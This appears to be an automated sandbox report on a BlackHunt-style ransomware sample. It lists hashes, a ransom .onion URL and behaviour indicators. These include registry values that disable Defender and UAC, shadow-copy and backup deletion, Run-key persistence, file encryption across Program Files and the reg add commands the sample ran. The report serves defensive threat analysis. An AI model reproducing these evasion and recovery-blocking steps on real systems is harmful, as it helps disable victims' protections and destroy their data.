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Analysis
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max time kernel
184s -
max time network
190s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:12
Static task
static1
Behavioral task
behavioral1
Sample
4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
Resource
win10v2004-20231215-en
General
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Target
4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe
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Size
707KB
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MD5
a904d1de62eef78b57333c780abe7a2d
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SHA1
bf89ee861f41934b9cf83e0601bc04da7cfda777
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SHA256
4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709
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SHA512
291c83fa4bab5b66edfe174de2c7aea3733b2bfff731f42e9f7217781a687770277e7117c944f1c0d06a30c772f06cb37bdb8d044bf2d59a0a6c478ee165e642
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza108vvnh:6uaTmkZJ+naie5OTamgEoKxLWfnh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3356 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 4048 bcdedit.exe 2536 bcdedit.exe -
Renames multiple (944) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 720 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" cmd.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\P: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\S: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\K: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\I: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\O: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\Q: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\B: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\Y: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\E: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\X: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\H: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\J: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\L: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\Z: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\G: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\A: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\V: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\N: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\W: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\T: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened (read-only) \??\M: 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\OutConvertFrom.cr2 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_sent.gif 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\ResolveReceive.vst 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\s_filetype_xd.svg 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\7-Zip\7z.sfx 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\freebxml.md 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ct.sym 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\jvisualvm.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\thaidict.md 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveNoDrop32x32.gif 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroLayoutRecognizer\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hr-hr\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\asm.md 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\management\snmp.acl.template 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\simplexml.luac 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\classlist 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\javaws.jar 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\#BlackHunt_ReadMe.hta 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\ExpandAssert.DVR 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_Private.key 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1848 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2508 vssadmin.exe 3952 vssadmin.exe 4624 vssadmin.exe 2132 vssadmin.exe 3852 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeRestorePrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeBackupPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeTakeOwnershipPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeAuditPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeSecurityPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeIncBasePriorityPrivilege 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Token: SeBackupPrivilege 4360 vssvc.exe Token: SeRestorePrivilege 4360 vssvc.exe Token: SeAuditPrivilege 4360 vssvc.exe Token: SeBackupPrivilege 5252 wbengine.exe Token: SeRestorePrivilege 5252 wbengine.exe Token: SeSecurityPrivilege 5252 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4680 wrote to memory of 4832 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 89 PID 4680 wrote to memory of 4832 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 89 PID 4680 wrote to memory of 2156 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 91 PID 4680 wrote to memory of 2156 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 91 PID 4680 wrote to memory of 3868 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 93 PID 4680 wrote to memory of 3868 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 93 PID 4680 wrote to memory of 976 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 95 PID 4680 wrote to memory of 976 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 95 PID 4832 wrote to memory of 4048 4832 reg.exe 98 PID 4832 wrote to memory of 4048 4832 reg.exe 98 PID 4680 wrote to memory of 4056 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 96 PID 4680 wrote to memory of 4056 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 96 PID 2156 wrote to memory of 3844 2156 cmd.exe 102 PID 2156 wrote to memory of 3844 2156 cmd.exe 102 PID 3868 wrote to memory of 2984 3868 cmd.exe 145 PID 3868 wrote to memory of 2984 3868 cmd.exe 145 PID 976 wrote to memory of 4528 976 cmd.exe 100 PID 976 wrote to memory of 4528 976 cmd.exe 100 PID 4056 wrote to memory of 5048 4056 cmd.exe 152 PID 4056 wrote to memory of 5048 4056 cmd.exe 152 PID 4680 wrote to memory of 4000 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 118 PID 4680 wrote to memory of 4000 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 118 PID 4680 wrote to memory of 3100 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 105 PID 4680 wrote to memory of 3100 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 105 PID 4680 wrote to memory of 4228 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 110 PID 4680 wrote to memory of 4228 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 110 PID 4680 wrote to memory of 1800 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 108 PID 4680 wrote to memory of 1800 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 108 PID 4680 wrote to memory of 624 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 117 PID 4680 wrote to memory of 624 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 117 PID 4000 wrote to memory of 2952 4000 cmd.exe 115 PID 4000 wrote to memory of 2952 4000 cmd.exe 115 PID 3100 wrote to memory of 5028 3100 cmd.exe 114 PID 3100 wrote to memory of 5028 3100 cmd.exe 114 PID 4228 wrote to memory of 2796 4228 cmd.exe 111 PID 4228 wrote to memory of 2796 4228 cmd.exe 111 PID 4680 wrote to memory of 3388 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 113 PID 4680 wrote to memory of 3388 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 113 PID 4680 wrote to memory of 208 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 123 PID 4680 wrote to memory of 208 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 123 PID 4680 wrote to memory of 5104 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 122 PID 4680 wrote to memory of 5104 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 122 PID 4680 wrote to memory of 1108 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 177 PID 4680 wrote to memory of 1108 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 177 PID 1800 wrote to memory of 2100 1800 cmd.exe 176 PID 1800 wrote to memory of 2100 1800 cmd.exe 176 PID 4680 wrote to memory of 5096 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 175 PID 4680 wrote to memory of 5096 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 175 PID 624 wrote to memory of 5084 624 cmd.exe 174 PID 624 wrote to memory of 5084 624 cmd.exe 174 PID 4680 wrote to memory of 4088 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 173 PID 4680 wrote to memory of 4088 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 173 PID 4680 wrote to memory of 2880 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 172 PID 4680 wrote to memory of 2880 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 172 PID 4680 wrote to memory of 2140 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 171 PID 4680 wrote to memory of 2140 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 171 PID 4680 wrote to memory of 3972 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 129 PID 4680 wrote to memory of 3972 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 129 PID 3388 wrote to memory of 2712 3388 cmd.exe 130 PID 3388 wrote to memory of 2712 3388 cmd.exe 130 PID 1108 wrote to memory of 4556 1108 cmd.exe 170 PID 1108 wrote to memory of 4556 1108 cmd.exe 170 PID 4680 wrote to memory of 2292 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 137 PID 4680 wrote to memory of 2292 4680 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe 137 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe"C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4680 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:4832
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:2984
